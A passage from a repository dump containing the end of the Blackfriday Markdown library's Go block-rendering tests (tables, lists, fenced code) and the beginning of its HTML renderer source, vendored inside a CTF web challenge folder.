+\n\t\t\t\"<tbody>\\n<tr>\\n<td>e</td>\\n<td>f</td>\\n<td>g</td>\\n<td>h</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a|b|c\\n---|---|---\\nd|e|f\\ng|h\\ni|j|k|l|m\\nn|o|p\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b</td>\\n<td>c</td>\\n</tr>\\n</thead>\\n\\n\" +\n\t\t\t\"<tbody>\\n<tr>\\n<td>d</td>\\n<td>e</td>\\n<td>f</td>\\n</tr>\\n\\n\" +\n\t\t\t\"<tr>\\n<td>g</td>\\n<td>h</td>\\n<td></td>\\n</tr>\\n\\n\" +\n\t\t\t\"<tr>\\n<td>i</td>\\n<td>j</td>\\n<td>k</td>\\n</tr>\\n\\n\" +\n\t\t\t\"<tr>\\n<td>n</td>\\n<td>o</td>\\n<td>p</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a|b|c\\n---|---|---\\n*d*|__e__|f\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b</td>\\n<td>c</td>\\n</tr>\\n</thead>\\n\\n\" +\n\t\t\t\"<tbody>\\n<tr>\\n<td><em>d</em></td>\\n<td><strong>e</strong></td>\\n<td>f</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a|b|c|d\\n:--|--:|:-:|---\\ne|f|g|h\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td align=\\\"left\\\">a</td>\\n<td align=\\\"right\\\">b</td>\\n\" +\n\t\t\t\"<td align=\\\"center\\\">c</td>\\n<td>d</td>\\n</tr>\\n</thead>\\n\\n\" +\n\t\t\t\"<tbody>\\n<tr>\\n<td align=\\\"left\\\">e</td>\\n<td align=\\\"right\\\">f</td>\\n\" +\n\t\t\t\"<td align=\\\"center\\\">g</td>\\n<td>h</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a|b|c\\n---|---|---\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b</td>\\n<td>c</td>\\n</tr>\\n</thead>\\n\\n<tbody>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a| b|c | d | e\\n---|---|---|---|---\\nf| g|h | i |j\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b</td>\\n<td>c</td>\\n<td>d</td>\\n<td>e</td>\\n</tr>\\n</thead>\\n\\n\" +\n\t\t\t\"<tbody>\\n<tr>\\n<td>f</td>\\n<td>g</td>\\n<td>h</td>\\n<td>i</td>\\n<td>j</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\n\t\t\"a|b\\\\|c|d\\n---|---|---\\nf|g\\\\|h|i\\n\",\n\t\t\"<table>\\n<thead>\\n<tr>\\n<td>a</td>\\n<td>b|c</td>\\n<td>d</td>\\n</tr>\\n</thead>\\n\\n<tbody>\\n<tr>\\n<td>f</td>\\n<td>g|h</td>\\n<td>i</td>\\n</tr>\\n</tbody>\\n</table>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_TABLES)\n}\n\nfunc TestUnorderedListWith_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) {\n\tvar tests = []string{\n\t\t\"* Hello\\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"* Yin\\n* Yang\\n\",\n\t\t\"<ul>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ul>\\n\",\n\n\t\t\"* Ting\\n* Bong\\n* Goo\\n\",\n\t\t\"<ul>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ul>\\n\",\n\n\t\t\"* Yin\\n\\n* Yang\\n\",\n\t\t\"<ul>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ul>\\n\",\n\n\t\t\"* Ting\\n\\n* Bong\\n* Goo\\n\",\n\t\t\"<ul>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ul>\\n\",\n\n\t\t\"+ Hello\\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"+ Yin\\n+ Yang\\n\",\n\t\t\"<ul>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ul>\\n\",\n\n\t\t\"+ Ting\\n+ Bong\\n+ Goo\\n\",\n\t\t\"<ul>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ul>\\n\",\n\n\t\t\"+ Yin\\n\\n+ Yang\\n\",\n\t\t\"<ul>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ul>\\n\",\n\n\t\t\"+ Ting\\n\\n+ Bong\\n+ Goo\\n\",\n\t\t\"<ul>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ul>\\n\",\n\n\t\t\"- Hello\\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"- Yin\\n- Yang\\n\",\n\t\t\"<ul>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ul>\\n\",\n\n\t\t\"- Ting\\n- Bong\\n- Goo\\n\",\n\t\t\"<ul>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ul>\\n\",\n\n\t\t\"- Yin\\n\\n- Yang\\n\",\n\t\t\"<ul>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ul>\\n\",\n\n\t\t\"- Ting\\n\\n- Bong\\n- Goo\\n\",\n\t\t\"<ul>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ul>\\n\",\n\n\t\t\"*Hello\\n\",\n\t\t\"<p>*Hello</p>\\n\",\n\n\t\t\"*   Hello \\n\",\n\t\t\"<ul>\\n<li>Hello</li>\\n</ul>\\n\",\n\n\t\t\"*   Hello \\n    Next line \\n\",\n\t\t\"<ul>\\n<li>Hello\\nNext line</li>\\n</ul>\\n\",\n\n\t\t\"Paragraph\\n* No linebreak\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<ul>\\n<li>No linebreak</li>\\n</ul>\\n\",\n\n\t\t\"Paragraph\\n\\n* Linebreak\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<ul>\\n<li>Linebreak</li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    * Nested list\\n\",\n\t\t\"<ul>\\n<li>List\\n\\n<ul>\\n<li>Nested list</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n\\n    * Nested list\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li>Nested list</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    Second line\\n\\n    + Nested\\n\",\n\t\t\"<ul>\\n<li><p>List\\nSecond line</p>\\n\\n<ul>\\n<li>Nested</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n    + Nested\\n\\n    Continued\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li>Nested</li>\\n</ul>\\n\\n<p>Continued</p></li>\\n</ul>\\n\",\n\n\t\t\"*   List\\n   * shallow indent\\n\",\n\t\t\"<ul>\\n<li>List\\n\\n<ul>\\n<li>shallow indent</li>\\n</ul></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\" +\n\t\t\t\" * shallow indent\\n\" +\n\t\t\t\"  * part of second list\\n\" +\n\t\t\t\"   * still second\\n\" +\n\t\t\t\"    * almost there\\n\" +\n\t\t\t\"     * third level\\n\",\n\t\t\"<ul>\\n\" +\n\t\t\t\"<li>List\\n\\n\" +\n\t\t\t\"<ul>\\n\" +\n\t\t\t\"<li>shallow indent</li>\\n\" +\n\t\t\t\"<li>part of second list</li>\\n\" +\n\t\t\t\"<li>still second</li>\\n\" +\n\t\t\t\"<li>almost there\\n\\n\" +\n\t\t\t\"<ul>\\n\" +\n\t\t\t\"<li>third level</li>\\n\" +\n\t\t\t\"</ul></li>\\n\" +\n\t\t\t\"</ul></li>\\n\" +\n\t\t\t\"</ul>\\n\",\n\n\t\t\"* List\\n        extra indent, same paragraph\\n\",\n\t\t\"<ul>\\n<li>List\\n    extra indent, same paragraph</li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\\n        code block\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<pre><code>code block\\n</code></pre></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\\n          code block with spaces\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<pre><code>  code block with spaces\\n</code></pre></li>\\n</ul>\\n\",\n\n\t\t\"* List\\n\\n    * sublist\\n\\n    normal text\\n\\n    * another sublist\\n\",\n\t\t\"<ul>\\n<li><p>List</p>\\n\\n<ul>\\n<li>sublist</li>\\n</ul>\\n\\n<p>normal text</p>\\n\\n<ul>\\n<li>another sublist</li>\\n</ul></li>\\n</ul>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK)\n}\n\nfunc TestOrderedList_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) {\n\tvar tests = []string{\n\t\t\"1. Hello\\n\",\n\t\t\"<ol>\\n<li>Hello</li>\\n</ol>\\n\",\n\n\t\t\"1. Yin\\n2. Yang\\n\",\n\t\t\"<ol>\\n<li>Yin</li>\\n<li>Yang</li>\\n</ol>\\n\",\n\n\t\t\"1. Ting\\n2. Bong\\n3. Goo\\n\",\n\t\t\"<ol>\\n<li>Ting</li>\\n<li>Bong</li>\\n<li>Goo</li>\\n</ol>\\n\",\n\n\t\t\"1. Yin\\n\\n2. Yang\\n\",\n\t\t\"<ol>\\n<li><p>Yin</p></li>\\n\\n<li><p>Yang</p></li>\\n</ol>\\n\",\n\n\t\t\"1. Ting\\n\\n2. Bong\\n3. Goo\\n\",\n\t\t\"<ol>\\n<li><p>Ting</p></li>\\n\\n<li><p>Bong</p></li>\\n\\n<li><p>Goo</p></li>\\n</ol>\\n\",\n\n\t\t\"1 Hello\\n\",\n\t\t\"<p>1 Hello</p>\\n\",\n\n\t\t\"1.Hello\\n\",\n\t\t\"<p>1.Hello</p>\\n\",\n\n\t\t\"1.  Hello \\n\",\n\t\t\"<ol>\\n<li>Hello</li>\\n</ol>\\n\",\n\n\t\t\"1.  Hello \\n    Next line \\n\",\n\t\t\"<ol>\\n<li>Hello\\nNext line</li>\\n</ol>\\n\",\n\n\t\t\"Paragraph\\n1. No linebreak\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<ol>\\n<li>No linebreak</li>\\n</ol>\\n\",\n\n\t\t\"Paragraph\\n\\n1. Linebreak\\n\",\n\t\t\"<p>Paragraph</p>\\n\\n<ol>\\n<li>Linebreak</li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n    1. Nested list\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ol>\\n<li>Nested list</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n\\n    1. Nested list\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<ol>\\n<li>Nested list</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n    Second line\\n\\n    1. Nested\\n\",\n\t\t\"<ol>\\n<li><p>List\\nSecond line</p>\\n\\n<ol>\\n<li>Nested</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n    1. Nested\\n\\n    Continued\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<ol>\\n<li>Nested</li>\\n</ol>\\n\\n<p>Continued</p></li>\\n</ol>\\n\",\n\n\t\t\"1.  List\\n   1. shallow indent\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ol>\\n<li>shallow indent</li>\\n</ol></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n\" +\n\t\t\t\" 1. shallow indent\\n\" +\n\t\t\t\"  2. part of second list\\n\" +\n\t\t\t\"   3. still second\\n\" +\n\t\t\t\"    4. almost there\\n\" +\n\t\t\t\"     1. third level\\n\",\n\t\t\"<ol>\\n\" +\n\t\t\t\"<li>List\\n\\n\" +\n\t\t\t\"<ol>\\n\" +\n\t\t\t\"<li>shallow indent</li>\\n\" +\n\t\t\t\"<li>part of second list</li>\\n\" +\n\t\t\t\"<li>still second</li>\\n\" +\n\t\t\t\"<li>almost there\\n\\n\" +\n\t\t\t\"<ol>\\n\" +\n\t\t\t\"<li>third level</li>\\n\" +\n\t\t\t\"</ol></li>\\n\" +\n\t\t\t\"</ol></li>\\n\" +\n\t\t\t\"</ol>\\n\",\n\n\t\t\"1. List\\n        extra indent, same paragraph\\n\",\n\t\t\"<ol>\\n<li>List\\n    extra indent, same paragraph</li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n\\n        code block\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<pre><code>code block\\n</code></pre></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n\\n          code block with spaces\\n\",\n\t\t\"<ol>\\n<li><p>List</p>\\n\\n<pre><code>  code block with spaces\\n</code></pre></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n    * Mixted list\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ul>\\n<li>Mixted list</li>\\n</ul></li>\\n</ol>\\n\",\n\n\t\t\"1. List\\n * Mixed list\\n\",\n\t\t\"<ol>\\n<li>List\\n\\n<ul>\\n<li>Mixed list</li>\\n</ul></li>\\n</ol>\\n\",\n\n\t\t\"* Start with unordered\\n 1. Ordered\\n\",\n\t\t\"<ul>\\n<li>Start with unordered\\n\\n<ol>\\n<li>Ordered</li>\\n</ol></li>\\n</ul>\\n\",\n\n\t\t\"* Start with unordered\\n    1. Ordered\\n\",\n\t\t\"<ul>\\n<li>Start with unordered\\n\\n<ol>\\n<li>Ordered</li>\\n</ol></li>\\n</ul>\\n\",\n\n\t\t\"1. numbers\\n1. are ignored\\n\",\n\t\t\"<ol>\\n<li>numbers</li>\\n<li>are ignored</li>\\n</ol>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK)\n}\n\nfunc TestFencedCodeBlock_EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK(t *testing.T) {\n\tvar tests = []string{\n\t\t\"``` go\\nfunc foo() bool {\\n\\treturn true;\\n}\\n```\\n\",\n\t\t\"<pre><code class=\\\"go\\\">func foo() bool {\\n    return true;\\n}\\n</code></pre>\\n\",\n\n\t\t\"``` c\\n/* special & char < > \\\" escaping */\\n```\\n\",\n\t\t\"<pre><code class=\\\"c\\\">/* special &amp; char &lt; &gt; &quot; escaping */\\n</code></pre>\\n\",\n\n\t\t\"``` c\\nno *inline* processing ~~of text~~\\n```\\n\",\n\t\t\"<pre><code class=\\\"c\\\">no *inline* processing ~~of text~~\\n</code></pre>\\n\",\n\n\t\t\"```\\nNo language\\n```\\n\",\n\t\t\"<pre><code>No language\\n</code></pre>\\n\",\n\n\t\t\"``` {ocaml}\\nlanguage in braces\\n```\\n\",\n\t\t\"<pre><code class=\\\"ocaml\\\">language in braces\\n</code></pre>\\n\",\n\n\t\t\"```    {ocaml}      \\nwith extra whitespace\\n```\\n\",\n\t\t\"<pre><code class=\\\"ocaml\\\">with extra whitespace\\n</code></pre>\\n\",\n\n\t\t\"```{   ocaml   }\\nwith extra whitespace\\n```\\n\",\n\t\t\"<pre><code class=\\\"ocaml\\\">with extra whitespace\\n</code></pre>\\n\",\n\n\t\t\"~ ~~ java\\nWith whitespace\\n~~~\\n\",\n\t\t\"<p>~ ~~ java\\nWith whitespace\\n~~~</p>\\n\",\n\n\t\t\"~~\\nonly two\\n~~\\n\",\n\t\t\"<p>~~\\nonly two\\n~~</p>\\n\",\n\n\t\t\"```` python\\nextra\\n````\\n\",\n\t\t\"<pre><code class=\\\"python\\\">extra\\n</code></pre>\\n\",\n\n\t\t\"~~~ perl\\nthree to start, four to end\\n~~~~\\n\",\n\t\t\"<p>~~~ perl\\nthree to start, four to end\\n~~~~</p>\\n\",\n\n\t\t\"~~~~ perl\\nfour to start, three to end\\n~~~\\n\",\n\t\t\"<p>~~~~ perl\\nfour to start, three to end\\n~~~</p>\\n\",\n\n\t\t\"~~~ bash\\ntildes\\n~~~\\n\",\n\t\t\"<pre><code class=\\\"bash\\\">tildes\\n</code></pre>\\n\",\n\n\t\t\"``` lisp\\nno ending\\n\",\n\t\t\"<p>``` lisp\\nno ending</p>\\n\",\n\n\t\t\"~~~ lisp\\nend with language\\n~~~ lisp\\n\",\n\t\t\"<p>~~~ lisp\\nend with language\\n~~~ lisp</p>\\n\",\n\n\t\t\"```\\nmismatched begin and end\\n~~~\\n\",\n\t\t\"<p>```\\nmismatched begin and end\\n~~~</p>\\n\",\n\n\t\t\"~~~\\nmismatched begin and end\\n```\\n\",\n\t\t\"<p>~~~\\nmismatched begin and end\\n```</p>\\n\",\n\n\t\t\"   ``` oz\\nleading spaces\\n```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\"  ``` oz\\nleading spaces\\n ```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\" ``` oz\\nleading spaces\\n  ```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\"``` oz\\nleading spaces\\n   ```\\n\",\n\t\t\"<pre><code class=\\\"oz\\\">leading spaces\\n</code></pre>\\n\",\n\n\t\t\"    ``` oz\\nleading spaces\\n    ```\\n\",\n\t\t\"<pre><code>``` oz\\n</code></pre>\\n\\n<p>leading spaces</p>\\n\\n<pre><code>```\\n</code></pre>\\n\",\n\t}\n\tdoTestsBlock(t, tests, EXTENSION_FENCED_CODE|EXTENSION_NO_EMPTY_LINE_BEFORE_BLOCK)\n}\n"
  },
  {
    "path": "web_gotsctf2018/gotsctf2018/vendor/github.com/slene/blackfriday/html.go",
    "content": "//\n// Blackfriday Markdown Processor\n// Available at http://github.com/russross/blackfriday\n//\n// Copyright © 2011 Russ Ross <russ@russross.com>.\n// Distributed under the Simplified BSD License.\n// See README.md for details.\n//\n\n//\n//\n// HTML rendering backend\n//\n//\n\npackage blackfriday\n\nimport (\n\t\"bytes\"\n\t\"fmt\"\n\t\"strconv\"\n\t\"strings\"\n)\n\n// Html renderer configuration options.\nconst (\n\tHTML_SKIP_HTML                = 1 << iota // skip preformatted HTML blocks\n\tHTML_SKIP_STYLE                           // skip embedded <style> elements\n\tHTML_SKIP_IMAGES                          // skip embedded images\n\tHTML_SKIP_LINKS                           // skip all links\n\tHTML_SKIP_SCRIPT                          // skip embedded <script> elements\n\tHTML_SAFELINK                             // only link to trusted protocols\n\tHTML_TOC                                  // generate a table of contents\n\tHTML_OMIT_CONTENTS                        // skip the main contents (for a standalone table of contents)\n\tHTML_COMPLETE_PAGE                        // generate a complete HTML page\n\tHTML_GITHUB_BLOCKCODE                     // use github fenced code rendering rules\n\tHTML_USE_XHTML                            // generate XHTML output instead of HTML\n\tHTML_USE_SMARTYPANTS                      // enable smart punctuation substitutions\n\tHTML_SMARTYPANTS_FRACTIONS                // enable smart fractions (with HTML_USE_SMARTYPANTS)\n\tHTML_SMARTYPANTS_LATEX_DASHES             // enable LaTeX-style dashes (with HTML_USE_SMARTYPANTS)\n)\n\n// Html is a type that implements the Renderer interface for HTML output.\n//\n// Do not create this directly, instead use the HtmlRenderer function.\ntype Html struct {\n\tflags    int    // HTML_* options\n\tcloseTag string // how to end singleton tags: either \" />\\n\" or \">\\n\"\n\ttitle    string // document title\n\tcss      string // optional css file url (used with HTML_COMPLETE_PAGE)\n\n\t// table of contents data\n\ttocMarker    int\n\theaderCount  int\n\tcurrentLevel int\n\ttoc          *bytes.Buffer\n\n\tsmartypants *smartypantsRenderer\n}\n\nconst (\n\txhtmlClose = \" />\\n\"\n\thtmlClose  = \">\\n\"\n)\n\n// HtmlRenderer creates and configures an Html object, which\n// satisfies the Renderer interface.\n//\n// flags is a set of HTML_* options ORed together.\n// title is the title of the document, and css is a URL for the document's\n// stylesheet.\n// title and css are only used when HTML_COMPLETE_PAGE is selected.\nfunc HtmlRenderer(flags int, title string, css string) Renderer {\n\t// configure the rendering engine\n\tcloseTag := htmlClose\n\tif flags&HTML_USE_XHTML != 0 {\n\t\tcloseTag = xhtmlClose\n\t}\n\n\treturn &Html{\n\t\tflags:    flags,\n\t\tcloseTag: closeTag,\n\t\ttitle:    title,\n\t\tcss:      css,\n\n\t\theaderCount:  0,\n\t\tcurrentLevel: 0,\n\t\ttoc:          new(bytes.Buffer),\n\n\t\tsmartypants: smartypants(flags),\n\t}\n}\n\nfunc attrEscape(out *bytes.Buffer, src []byte) {\n\torg := 0\n\tfor i, ch := range src {\n\t\t// using if statements is a bit faster than a switch statement.\n\t\t// as the compiler improves, this should be unnecessary\n\t\t// this is only worthwhile because attrEscape is the single\n\t\t// largest CPU user in normal use\n\t\tif ch == '\"' {\n\t\t\tif i > org {\n\t\t\t\t// copy all the normal characters since the last escape\n\t\t\t\tout.Write(src[org:i])\n\t\t\t}\n\t\t\torg = i + 1\n\t\t\tout.WriteString(\"&quot;\")\n\t\t\tcontinue\n\t\t}\n\t\tif ch == '&' {\n\t\t\tif i > org {\n\t\t\t\tout.Write(src[org:i])\n\t\t\t}\n\t\t\torg = i + 1\n\t\t\tout.WriteString(\"&amp;\")\n\t\t\tcontinue\n\t\t}\n\t\tif ch == '<' {\n\t\t\tif i > org {\n\t\t\t\tout.Write(src[org:i])\n\t\t\t}\n\t\t\torg = i + 1\n\t\t\tout.WriteString(\"&lt;\")\n\t\t\tcontinue\n\t\t}\n\t\tif ch == '>' {\n\t\t\tif i > org {\n\t\t\t\tout.Write(src[org:i])\n\t\t\t}\n\t\t\torg = i + 1\n\t\t\tout.WriteString(\"&gt;\")\n\t\t\tcontinue\n\t\t}\n\t}\n\tif org < len(src) {\n\t\tout.Write(src[org:])\n\t}\n}\n\nfunc (options *Html) Header(out *bytes.Buffer, text func() bool, level int) {\n\tmarker := out.Len()\n\tdoubleSpace(out)\n\n\tif options.flags&HTML_TOC != 0 {\n\t\t// headerCount is incremented in htmlTocHeader\n\t\tout.WriteString(fmt.Sprintf(\"<h%d id=\\\"toc_%d\\\">\", level, options.headerCount))\n\t} else {\n\t\tout.WriteString(fmt.Sprintf(\"<h%d>\", level))\n\t}\n\n\ttocMarker := out.Len()\n\tif !text() {\n\t\tout.Truncate(marker)\n\t\treturn\n\t}\n\n\t// are we building a table of contents?\n\tif options.flags&HTML_TOC != 0 {\n\t\toptions.TocHeader(out.Bytes()[tocMarker:], level)\n\t}\n\n\tout.WriteString(fmt.Sprintf(\"</h%d>\\n\", level))\n}\n\nfunc (options *Html) BlockHtml(out *bytes.Buffer, text []byte) {\n\tif options.flags&HTML_SKIP_HTML != 0 {\n\t\treturn\n\t}\n\n\tdoubleSpace(out)\n\tif options.flags&HTML_SKIP_SCRIPT != 0 {\n\t\tout.Write(stripTag(string(text), \"script\", \"p\"))\n\t} else {\n\t\tout.Write(text)\n\t}\n\tout.WriteByte('\\n')\n}\n\nfunc stripTag(text, tag, newTag string) []byte {\n\tcloseNewTag := fmt.Sprintf(\"</%s>\", newTag)\n\ti := 0\n\tfor i < len(text) && text[i] != '<' {\n\t\ti++\n\t}\n\tif i == len(text) {\n\t\treturn []byte(text)\n\t}\n\tfound, end := findHtmlTagPos([]byte(text[i:]), tag)\n\tcloseTag := fmt.Sprintf(\"</%s>\", tag)\n\tnoOpen := text\n\tif found {\n\t\tnoOpen = text[0:i+1] + newTag + text[end:]\n\t}\n\treturn []byte(strings.Replace(noOpen, closeTag, closeNewTag, -1))\n}\n\nfunc (options *Html) HRule(out *bytes.Buffer) {\n\tdoubleSpace(out)\n\tout.WriteString(\"<hr\")\n\tout.WriteString(options.closeTag)\n}\n\nfunc (options *Html) BlockCode(out *bytes.Buffer, text []byte, lang string) {\n\tif options.flags&HTML_GITHUB_BLOCKCODE != 0 {\n\t\toptions.BlockCodeGithub(out, text, lang)\n\t} else {\n\t\toptions.BlockCodeNormal(out, text, lang)\n\t}\n}\n\nfunc (options *Html) BlockCodeNormal(out *bytes.Buffer, text []byte, lang string) {\n\tdoubleSpace(out)\n\n\t// parse out the language names/classes\n\tcount := 0\n\tfor _, elt := range strings.Fields(lang) {\n\t\tif elt[0] == '.' {\n\t\t\telt = elt[1:]\n\t\t}\n\t\tif len(elt) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tif count == 0 {\n\t\t\tout.WriteString(\"<pre><code class=\\\"\")\n\t\t} else {\n\t\t\tout.WriteByte(' ')\n\t\t}\n\t\tattrEscape(out, []byte(elt))\n\t\tcount++\n\t}\n\n\tif count == 0 {\n\t\tout.WriteString(\"<pre><code>\")\n\t} else {\n\t\tout.WriteString(\"\\\">\")\n\t}\n\n\tattrEscape(out, text)\n\tout.WriteString(\"</code></pre>\\n\")\n}\n\n// GitHub style code block:\n//\n//              <pre lang=\"LANG\"><code>\n//              ...\n//              </code></pre>\n//\n// Unlike other parsers, we store the language identifier in the <pre>,\n// and don't let the user generate custom classes.\n//\n// The language identifier in the <pre> block gets postprocessed and all\n// the code inside gets syntax highlighted with Pygments. This is much safer\n// than letting the user specify a CSS class for highlighting.\n//\n// Note that we only generate HTML for the first specifier.\n// E.g.\n//              ~~~~ {.python .numbered}        =>      <pre lang=\"python\"><code>\nfunc (options *Html) BlockCodeGithub(out *bytes.Buffer, text []byte, lang string) {\n\tdoubleSpace(out)\n\n\t// parse out the language name\n\tcount := 0\n\tfor _, elt := range strings.Fields(lang) {\n\t\tif elt[0] == '.' {\n\t\t\telt = elt[1:]\n\t\t}\n\t\tif len(elt) == 0 {\n\t\t\tcontinue\n\t\t}\n\t\tout.WriteString(\"<pre lang=\\\"\")\n\t\tattrEscape(out, []byte(elt))\n\t\tout.WriteString(\"\\\"><code>\")\n\t\tcount++\n\t\tbreak\n\t}\n\n\tif count == 0 {\n\t\tout.WriteString(\"<pre><code>\")\n\t}\n\n\tattrEscape(out, text)\n\tout.WriteString(\"</code></pre>\\n\")\n}\n\nfunc (options *Html) BlockQuote(out *bytes.Buffer, text []byte) {\n\tdoubleSpace(out)\n\tout.WriteString(\"<blockquote>\\n\")\n\tout.Write(text)\n\tout.WriteString(\"</blockquote>\\n\")\n}\n\nfunc (options *Html) Table(out *bytes.Buffer, header []byte, body []byte, columnData []int) {\n\tdoubleSpace(out)\n\tout.WriteString(\"<table>\\n<thead>\\n\")\n\tout.Write(header)\n\tout.WriteString(\"</thead>\\n\\n<tbody>\\n\")\n\tout.Write(body)\n\tout.WriteString(\"</tbody>\\n</table>\\n\")\n}\n\nfunc (options *Html) TableRow(out *bytes.Buffer, text []byte) {\n\tdoubleSpace(out)\n\tout.WriteString(\"<tr>\\n\")\n\tout.Write(text)\n\tout.WriteString(\"\\n</tr>\\n\")\n}\n\nfunc (options *Html) TableCell(out *bytes.Buffer, text []byte, align int) {\n\tdoubleSpace(out)\n\tswitch align {\n\tcase TABLE_ALIGNMENT_LEFT:\n\t\tout.WriteString(\"<td align=\\\"left\\\">\")\n\tcase TABLE_ALIGNMENT_RIGHT:\n\t\tout.WriteString(\"<td align=\\\"right\\\">\")\n\tcase TABLE_ALIGNMENT_CENTER:\n\t\tout.WriteString(\"<td align=\\\"center\\\">\")\n\tdefault:\n\t\tout.WriteString(\"<td>\")\n\t}\n\n\tout.Write(text)\n\tout.WriteString(\"</td>\")\n}\n\nfunc (options *Html) Footnotes(out *bytes.Buffer, text func() bool) {\n\tout.WriteString(\"<div class=\\\"footnotes\\\">\\n\")\n\toptions.HRule(out)\n\toptions.List(out, text, LIST_TYPE_ORDERED)\n\tout.WriteString(\"</div>\\n\")\n}\n\nfunc (options *Html) FootnoteItem(out *bytes.Buffer, name, text []byte, flags int) {\n\tif flags&LIST_ITEM_CONTAINS_BLOCK != 0 || flags&LIST_ITEM_BEGINNING_OF_LIST != 0 {\n\t\tdoubleSpace(out)\n\t}\n\tout.WriteString(`<li id=\"fn:`)\n\tout.Write(slugify(name))\n\tout.WriteString(`\">`)\n\tout.Write(text)\n\tout.WriteString(\"</li>\\n\")\n}\n\nfunc (options *Html) List(out *bytes.Buffer, text func() bool, flags int) {\n\tmarker := out.Len()\n\tdoubleSpace(out)\n\n\tif flags&LIST_TYPE_ORDERED != 0 {\n\t\tout.WriteString(\"<ol>\")\n\t} else {\n\t\tout.WriteString(\"<ul>\")\n\t}\n\tif !text() {\n\t\tout.Truncate(marker)\n\t\treturn\n\t}\n\tif flags&LIST_TYPE_ORDERED != 0 {\n\t\tout.WriteString(\"</ol>\\n\")\n\t} else {\n\t\tout.WriteString(\"</ul>\\n\")\n\t}\n}\n\nfunc (options *Html) ListItem(out *bytes.Buffer, text []byte, flags int) {\n\tif flags&LIST_ITEM_CONTAINS_BLOCK != 0 || flags&LIST_ITEM_BEGINNING_OF_LIST != 0 {\n\t\tdoubleSpace(out)\n\t}\n\tout.WriteString(\"<li>\")\n\tout.Write(text)\n\tout.WriteString(\"</li>\\n\")\n}\n\nfunc (options *Html) Paragraph(out *bytes.Buffer, text func() bool) {\n\tmarker := out.Len()\n\tdoubleSpace(out)\n\n\tout.WriteString(\"<p>\")\n\tif !text() {\n\t\tout.Truncate(marker)\n\t\treturn\n\t}\n\tout.WriteString(\"</p>\\n\")\n}\n\nfunc (options *Html) AutoLink(out 